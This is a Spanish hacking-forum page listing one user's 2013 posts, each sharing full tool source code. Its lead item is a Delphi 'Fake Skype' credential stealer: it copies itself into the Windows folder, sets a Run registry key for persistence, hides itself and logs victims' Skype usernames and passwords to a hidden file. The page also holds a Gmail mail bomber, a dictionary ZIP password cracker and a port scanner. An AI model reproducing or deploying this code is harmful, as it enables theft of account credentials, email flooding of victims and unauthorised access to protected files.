elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 55
201  Programación / Programación General / [Delphi] Fake Skype 0.1 en: 16 Agosto 2013, 18:40 pm
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código
  1. // Fake Skype 0.1
  2. // Coded By Doddy H
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.   TForm1 = class(TForm)
  14.     Image1: TImage;
  15.     Edit1: TEdit;
  16.     Edit2: TEdit;
  17.     Image2: TImage;
  18.     procedure Image2Click(Sender: TObject);
  19.     procedure FormCreate(Sender: TObject);
  20.     procedure Edit2Click(Sender: TObject);
  21.     procedure Edit1Click(Sender: TObject);
  22.  
  23.   private
  24.     { Private declarations }
  25.   public
  26.     { Public declarations }
  27.   end;
  28.  
  29. var
  30.   Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.Edit1Click(Sender: TObject);
  37. begin
  38.   Edit1.Text := '';
  39. end;
  40.  
  41. procedure TForm1.Edit2Click(Sender: TObject);
  42. begin
  43.   Edit2.Text := '';
  44. end;
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47.  
  48. var
  49.   nombrereal: string;
  50.   rutareal: string;
  51.   yalisto: string;
  52.   her: TRegistry;
  53.  
  54. begin
  55.  
  56.   nombrereal := ExtractFileName(ParamStr(0));
  57.   rutareal := ParamStr(0);
  58.   yalisto := 'C:\WINDOWS\' + nombrereal;
  59.  
  60.   MoveFile(Pchar(rutareal), Pchar(yalisto));
  61.  
  62.   her := TRegistry.Create;
  63.   her.RootKey := HKEY_LOCAL_MACHINE;
  64.  
  65.   her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  66.   her.WriteString('uber', yalisto);
  67.   her.Free;
  68.  
  69.   SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  70.   SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  71.  
  72. end;
  73.  
  74. procedure TForm1.Image2Click(Sender: TObject);
  75. var
  76.   archivo: TextFile;
  77.   ruta: string;
  78.  
  79. begin
  80.  
  81.   if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  82.   begin
  83.     WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  84.   end
  85.   else
  86.   begin
  87.  
  88.     if Edit1.Text = '' then
  89.     begin
  90.       ShowMessage(
  91.         'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com');
  92.     end;
  93.     if Edit2.Text = '' then
  94.     begin
  95.       ShowMessage('Escribe tu contraseña');
  96.     end
  97.     else
  98.     begin
  99.       if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.       begin
  101.         ShowMessage('Escribe tu contraseña');
  102.       end
  103.       else
  104.       begin
  105.         ruta := 'c:/windows/datos.txt'; // mod
  106.         if FileExists(ruta) then
  107.         begin
  108.           AssignFile(archivo, ruta);
  109.           FileMode := fmOpenWrite;
  110.           Append(archivo);
  111.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  112.               Edit2.Text);
  113.           CloseFile(archivo);
  114.           Application.MessageBox(
  115.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  116.             MB_OK);
  117.           Form1.Close;
  118.         end
  119.         else
  120.         begin
  121.           AssignFile(archivo, ruta);
  122.           FileMode := fmOpenWrite;
  123.           ReWrite(archivo);
  124.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  125.               Edit2.Text);
  126.           CloseFile(archivo);
  127.           Application.MessageBox(
  128.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  129.             MB_OK);
  130.           Form1.Close;
  131.         end;
  132.       end;
  133.     end;
  134.   end;
  135.  
  136. end;
  137.  
  138. end.
  139.  
  140. // The End ?
  141.  

Si quieren bajarlo lo pueden hacer de aca.
202  Programación / Programación General / [Delphi] Sex Icons 0.1 en: 9 Agosto 2013, 17:59 pm
Un simple programa para buscar y extraer iconos.

Una imagen :



El codigo :

Código
  1. // Sex Icons 0.1
  2. // Coded By Doddy H
  3.  
  4. unit sex;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList;
  11.  
  12. type
  13.   TForm1 = class(TForm)
  14.     Image1: TImage;
  15.     GroupBox1: TGroupBox;
  16.     Label1: TLabel;
  17.     Edit1: TEdit;
  18.     ListView1: TListView;
  19.     Button1: TButton;
  20.     GroupBox2: TGroupBox;
  21.     Button2: TButton;
  22.     ImageList1: TImageList;
  23.     GroupBox3: TGroupBox;
  24.     Image2: TImage;
  25.  
  26.     Image3: TImage;
  27.     SaveDialog1: TSaveDialog;
  28.     procedure Button1Click(Sender: TObject);
  29.     procedure ListView1DblClick(Sender: TObject);
  30.     procedure Button2Click(Sender: TObject);
  31.     procedure FormCreate(Sender: TObject);
  32.   private
  33.     { Private declarations }
  34.   public
  35.     { Public declarations }
  36.   end;
  37.  
  38. var
  39.   Form1: TForm1;
  40.  
  41. implementation
  42.  
  43. {$R *.dfm}
  44.  
  45. procedure TForm1.Button1Click(Sender: TObject);
  46. var
  47.   buscar: TSearchRec;
  48.   Icon: TIcon;
  49.   listate: TListItem;
  50.   getdata: SHFILEINFO;
  51.   dirnow: string;
  52.  
  53. begin
  54.  
  55.   dirnow := Edit1.Text;
  56.  
  57.   ListView1.Items.Clear;
  58.   Icon := TIcon.Create;
  59.   ListView1.Items.BeginUpdate;
  60.  
  61.   if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  62.   begin
  63.     repeat
  64.       if (buscar.Attr <> faDirectory) then
  65.       begin
  66.  
  67.         with ListView1 do
  68.         begin
  69.  
  70.           listate := ListView1.Items.Add;
  71.  
  72.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  73.               , SHGFI_DISPLAYNAME);
  74.           listate.Caption := buscar.Name;
  75.  
  76.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  77.               , SHGFI_TYPENAME);
  78.           listate.SubItems.Add(getdata.szTypeName);
  79.  
  80.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  81.               , SHGFI_ICON or SHGFI_SMALLICON);
  82.           Icon.Handle := getdata.hIcon;
  83.           listate.ImageIndex := ImageList1.AddIcon(Icon);
  84.  
  85.           DestroyIcon(getdata.hIcon);
  86.  
  87.         end;
  88.  
  89.       end
  90.  
  91.       until FindNext(buscar) <> 0;
  92.       FindClose(buscar);
  93.     end;
  94.  
  95.     ListView1.Items.EndUpdate;
  96.  
  97.   end;
  98.  
  99.   procedure TForm1.Button2Click(Sender: TObject);
  100.   begin
  101.  
  102.     if SaveDialog1.Execute then
  103.     begin
  104.       Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName);
  105.       ShowMessage('Icon Extracted');
  106.     end;
  107.  
  108.   end;
  109.  
  110.   procedure TForm1.FormCreate(Sender: TObject);
  111.   begin
  112.  
  113.     SaveDialog1.Title := 'Save your Icon';
  114.     SaveDialog1.InitialDir := GetCurrentDir;
  115.     SaveDialog1.DefaultExt := 'ico';
  116.  
  117.   end;
  118.  
  119.   procedure TForm1.ListView1DblClick(Sender: TObject);
  120.  
  121.   var
  122.     acanow: TIcon;
  123.     archivo: string;
  124.     bajar: TSHFileInfo;
  125.  
  126.   begin
  127.  
  128.     archivo := Edit1.Text + ListView1.Selected.Caption;
  129.     if FileExists(archivo) then
  130.     begin
  131.       acanow := TIcon.Create;
  132.       SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON);
  133.       acanow.Handle := bajar.hIcon;
  134.       Image2.Picture.Icon := acanow;
  135.       acanow.Free;
  136.     end;
  137.   end;
  138.  
  139. end.
  140.  
  141. // The End ?
  142.  

Si quieren bajarlo lo pueden hacer de aca
203  Programación / Programación General / [Delphi] DH Port Scanner 0.2 en: 2 Agosto 2013, 23:50 pm
Un simple Port Scanner en Delphi.

Una imagen :



El codigo :

Código
  1. // DH Port Scanner 0.2
  2. // Coded By Doddy H
  3.  
  4. unit port;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg,
  11.   ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent,
  12.   IdTCPConnection;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     sSkinManager1: TsSkinManager;
  17.     sGroupBox1: TsGroupBox;
  18.     sGroupBox2: TsGroupBox;
  19.     sGroupBox3: TsGroupBox;
  20.     sButton1: TsButton;
  21.     sMemo1: TsMemo;
  22.     Image1: TImage;
  23.     sStatusBar1: TsStatusBar;
  24.     sLabel1: TsLabel;
  25.     sEdit1: TsEdit;
  26.     sLabel2: TsLabel;
  27.     sEdit2: TsEdit;
  28.     sLabel3: TsLabel;
  29.     sEdit3: TsEdit;
  30.     sButton2: TsButton;
  31.     sButton3: TsButton;
  32.     sButton4: TsButton;
  33.     IdTCPClient1: TIdTCPClient;
  34.     procedure sButton1Click(Sender: TObject);
  35.     procedure sButton2Click(Sender: TObject);
  36.     procedure sButton3Click(Sender: TObject);
  37.     procedure sButton4Click(Sender: TObject);
  38.     procedure FormCreate(Sender: TObject);
  39.  
  40.   private
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   Form1: TForm1;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm1.FormCreate(Sender: TObject);
  54. begin
  55.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  56.   sSkinManager1.SkinName := 'matrix';
  57.   sSkinManager1.Active := True;
  58. end;
  59.  
  60. procedure TForm1.sButton1Click(Sender: TObject);
  61. var
  62.   i: Integer;
  63. begin
  64.  
  65.   sMemo1.Clear;
  66.  
  67.   For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do
  68.   begin
  69.     try
  70.       begin
  71.  
  72.         sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i);
  73.         Form1.sStatusBar1.Update;
  74.  
  75.         IdTCPClient1.Host := sEdit1.Text;
  76.         IdTCPClient1.port := i;
  77.         IdTCPClient1.ConnectTimeout := 1;
  78.         IdTCPClient1.Connect;
  79.  
  80.         sMemo1.Lines.Add('Port Open : ' + IntToStr(i));
  81.  
  82.         IdTCPClient1.Disconnect;
  83.  
  84.       end;
  85.     except
  86.       begin
  87.         //
  88.       end;
  89.     end;
  90.  
  91.   end;
  92.   sStatusBar1.Panels[0].Text := '[+] Finished';
  93.   Form1.sStatusBar1.Update;
  94. end;
  95.  
  96. procedure TForm1.sButton2Click(Sender: TObject);
  97. begin
  98.   Abort;
  99. end;
  100.  
  101. procedure TForm1.sButton3Click(Sender: TObject);
  102. begin
  103.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  104. end;
  105.  
  106. procedure TForm1.sButton4Click(Sender: TObject);
  107. begin
  108.   Form1.Close();
  109. end;
  110.  
  111. end.
  112.  
  113. // The End ?
  114.  

Si quieren bajar el programa lo pueden hacer de aca.
204  Programación / .NET (C#, VB.NET, ASP) / Re: Localizar pixel de cierto color dentro de la pantalla en: 27 Julio 2013, 21:39 pm
creo que electro ya hizo "algo asi" , cuanto tenga en tiempo hago lo mismo en delphi.
205  Programación / Scripting / Re: [Python] ZIP Crack 0.1 en: 27 Julio 2013, 19:40 pm
Cita de: Kase en 27 Julio 2013, 08:54 am
entonces que haces programando en python!!!! xD

para variar las cosas xDD.
206  Programación / Programación General / [Delphi] DH Bomber 0.3 en: 26 Julio 2013, 21:19 pm
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :



El codigo :

Código
  1. // DH Bomber 0.3
  2. // Coded By Doddy H
  3. // Credits :
  4. // Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html
  5.  
  6. unit dh;
  7.  
  8. interface
  9.  
  10. uses
  11.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.   Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  13.   sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  14.   IdIOHandlerSocket,
  15.   IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  16.   IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  17.   IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;
  18.  
  19. type
  20.   TForm1 = class(TForm)
  21.     sSkinManager1: TsSkinManager;
  22.     sGroupBox1: TsGroupBox;
  23.     Image1: TImage;
  24.     sLabel1: TsLabel;
  25.     sEdit1: TsEdit;
  26.     sLabel2: TsLabel;
  27.     sEdit2: TsEdit;
  28.     sGroupBox2: TsGroupBox;
  29.     sLabel4: TsLabel;
  30.     sEdit4: TsEdit;
  31.     sLabel5: TsLabel;
  32.     sEdit5: TsEdit;
  33.     sLabel6: TsLabel;
  34.     sEdit6: TsEdit;
  35.     sGroupBox3: TsGroupBox;
  36.     sMemo1: TsMemo;
  37.     sButton1: TsButton;
  38.     sStatusBar1: TsStatusBar;
  39.     PopupMenu1: TPopupMenu;
  40.     MediaPlayer1: TMediaPlayer;
  41.     N2: TMenuItem;
  42.     S2: TMenuItem;
  43.     procedure FormCreate(Sender: TObject);
  44.     procedure N2Click(Sender: TObject);
  45.     procedure S2Click(Sender: TObject);
  46.     procedure MediaPlayer1Notify(Sender: TObject);
  47.     procedure sButton1Click(Sender: TObject);
  48.  
  49.   private
  50.     { Private declarations }
  51.   public
  52.     { Public declarations }
  53.   end;
  54.  
  55. var
  56.   Form1: TForm1;
  57.  
  58. var
  59.   themenow: Boolean; { Global Variable }
  60.  
  61. implementation
  62.  
  63. {$R *.dfm}
  64.  
  65. procedure TForm1.FormCreate(Sender: TObject);
  66. begin
  67.  
  68.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  69.   sSkinManager1.SkinName := 'deep';
  70.   sSkinManager1.Active := True;
  71.  
  72.   MediaPlayer1.FileName := 'data/theme.mp3';
  73.   MediaPlayer1.Open;
  74.   themenow := True;
  75.   MediaPlayer1.Play;
  76.   MediaPlayer1.Notify := True;
  77. end;
  78.  
  79. procedure TForm1.MediaPlayer1Notify(Sender: TObject);
  80. begin
  81.   if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  82.   begin
  83.     MediaPlayer1.Play;
  84.     MediaPlayer1.Notify := True;
  85.   end;
  86. end;
  87.  
  88. procedure TForm1.N2Click(Sender: TObject);
  89. begin
  90.   themenow := True;
  91.   MediaPlayer1.Play;
  92.   MediaPlayer1.Notify := True;
  93. end;
  94.  
  95. procedure TForm1.S2Click(Sender: TObject);
  96. begin
  97.   themenow := false;
  98.   MediaPlayer1.Stop;
  99.   MediaPlayer1.Notify := True;
  100. end;
  101.  
  102. procedure enviate_esta(username, password, toto, subject, body: string);
  103. var
  104.   data: TIdMessage;
  105.   mensaje: TIdSMTP;
  106.  
  107. begin
  108.  
  109.   mensaje := TIdSMTP.Create(nil);
  110.  
  111.   data := TIdMessage.Create(nil);
  112.   data.From.Address := username;
  113.   data.Recipients.EMailAddresses := toto;
  114.   data.subject := subject;
  115.   data.body.Text := body;
  116.  
  117.   mensaje.Host := 'smtp.gmail.com';
  118.   mensaje.Port := 587;
  119.   mensaje.username := username;
  120.   mensaje.password := password;
  121.  
  122.   mensaje.Connect;
  123.   mensaje.Send(data);
  124.   mensaje.Disconnect;
  125.  
  126.   mensaje.Free;
  127.   data.Free;
  128.  
  129. end;
  130.  
  131. procedure TForm1.sButton1Click(Sender: TObject);
  132.  
  133. var
  134.   i: integer;
  135.   count: integer;
  136.   idasunto: string;
  137.  
  138. begin
  139.  
  140.   count := StrToInt(sEdit5.Text);
  141.  
  142.   For i := 1 to count do
  143.   begin
  144.  
  145.     if count > 1 then
  146.     begin
  147.       idasunto := '_' + IntToStr(i);
  148.     end;
  149.  
  150.     try
  151.       begin
  152.         sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
  153.           (i) + ' ...';
  154.         Form1.sStatusBar1.Update;
  155.  
  156.         enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
  157.           sEdit6.Text + idasunto, sMemo1.Text);
  158.       end;
  159.     except
  160.       begin
  161.         sStatusBar1.Panels[0].Text :=
  162.           '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  163.         Form1.sStatusBar1.Update;
  164.       end;
  165.  
  166.     end;
  167.  
  168.     sStatusBar1.Panels[0].Text := '[+] Finished';
  169.     Form1.sStatusBar1.Update;
  170.  
  171.   end;
  172.  
  173. end;
  174.  
  175. end.
  176.  
  177. // The End ?
  178.  

Si quieren bajar el programa lo pueden hacer de aca.
207  Programación / Scripting / Re: [Python] ZIP Crack 0.1 en: 26 Julio 2013, 00:45 am
buena observacion , odio identar xDD.
208  Programación / Scripting / Re: [Perl] Project DH Joiner 0.5 en: 23 Julio 2013, 21:57 pm
este post es re viejo xDD.
209  Programación / Scripting / [Perl] PasteBin Downloader 0.1 en: 20 Julio 2013, 23:58 pm
Un simple script en Perl para bajar codigos de pastebin.
Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos.

El codigo :

Código
  1. #!usr/bin/perl
  2. #PasteBin Downloader 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use URI::Split qw(uri_split);
  7. use HTML::LinkExtor;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(10);
  14.  
  15. my $se = "downloads_pastebin";
  16.  
  17. unless ( -d $se ) {
  18.     mkdir( $se, "777" );
  19. }
  20.  
  21. chdir $se;
  22.  
  23. print "\n-- == PasteBin Downloader 0.1 == --\n";
  24.  
  25. unless ( $ARGV[0] and $ARGV[1] ) {
  26.     print "\n[+] Sintax : $0 < -single / -page > <url>\n";
  27. }
  28. else {
  29.     print "\n[+] Searching ...\n";
  30.     if ( $ARGV[0] eq "-single" ) {
  31.         download_this( $ARGV[1] );
  32.     }
  33.     if ( $ARGV[0] eq "-page" ) {
  34.         download_all( $ARGV[1] );
  35.     }
  36. }
  37.  
  38. print "\n(C) Doddy Hackman 2013\n";
  39.  
  40. sub download_all {
  41.  
  42.     my $page = shift;
  43.  
  44.     my $code = toma($page);
  45.     chomp $code;
  46.  
  47.     my @links_all = repes( get_links($code) );
  48.  
  49.     for my $page_down (@links_all) {
  50.         download_this($page_down);
  51.     }
  52.  
  53. }
  54.  
  55. sub download_this {
  56.  
  57.     my $page   = shift;
  58.     my $titulo = "";
  59.     my $num    = "";
  60.  
  61.     print "\n[+] Checking : $page\n";
  62.  
  63.     my $code = toma($page);
  64.  
  65.     if ( $page =~ /http:\/\/(.*)\/(.*)/ ) {
  66.         $num = $2;
  67.  
  68.         if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) {
  69.             $titulo = $1;
  70.  
  71.             print "[+] Downloading : http://pastebin.com/download.php?i=$num\n";
  72.  
  73.             if (
  74.                 download(
  75.                     "http://pastebin.com/download.php?i=$num",
  76.                     $titulo . ".txt"
  77.                 )
  78.               )
  79.             {
  80.                 print "[+] File Downloaded !\n";
  81.             }
  82.             else {
  83.                 print "[-] Error\n";
  84.             }
  85.  
  86.         }
  87.     }
  88.  
  89. }
  90.  
  91. sub download {
  92.  
  93.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  94.         if ( -f $_[1] ) {
  95.             return true;
  96.         }
  97.     }
  98. }
  99.  
  100. sub repes {
  101.     my @limpio;
  102.     foreach $test (@_) {
  103.         push @limpio, $test unless $repe{$test}++;
  104.     }
  105.     return @limpio;
  106. }
  107.  
  108. sub toma {
  109.     return $nave->get( $_[0] )->content;
  110. }
  111.  
  112. sub get_links {
  113.  
  114.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  115.     return @links;
  116.  
  117.     sub agarrar {
  118.         my ( $a, %b ) = @_;
  119.         push( @links, values %b );
  120.     }
  121. }
  122.  
  123. #The End ?
  124.  
210  Programación / Scripting / [Python] ZIP Crack 0.1 en: 20 Julio 2013, 23:03 pm
Un simple script en Python para crackear archivos ZIP.

El codigo

Código
  1. #!usr/bin/python
  2. #ZIP Crack 0.1
  3. #Coded By Doddy H
  4.  
  5. import sys,zipfile
  6.  
  7. def head():
  8.  print "\n-- == ZIP Crack 0.1 == --\n"
  9.  
  10. def copyright():
  11.  print "\n(C) Doddy Hackman 2013\n"
  12.  
  13. def sintax():
  14.  print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>"
  15.  
  16. head()
  17.  
  18. if len(sys.argv) != 3 : 
  19.  sintax()
  20. else:
  21.  
  22.  try:
  23.   passwords = open(sys.argv[2], "r").readlines()
  24.  except	:
  25.   print "\n[-] Error opening file\n"
  26.  op = 0  
  27.  print "\n[+] Cracking ...\n"
  28.  for password in passwords:
  29.   password = password.replace("\r","").replace("\n","")
  30.   if op==1:
  31.    copyright()		
  32.    sys.exit(0)
  33.   try:
  34.    test = zipfile.ZipFile(sys.argv[1])
  35.    test.extractall(pwd=password)
  36.    print "[+] Zip Cracked : "+sys.argv[1]
  37.    print "[+] Password : "+password
  38.    op = 1
  39.   except:
  40.    pass
  41.  
  42.  print "[-] Password Not Found"
  43.  
  44. copyright()
  45.  
  46. #The End ?
  47.  
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines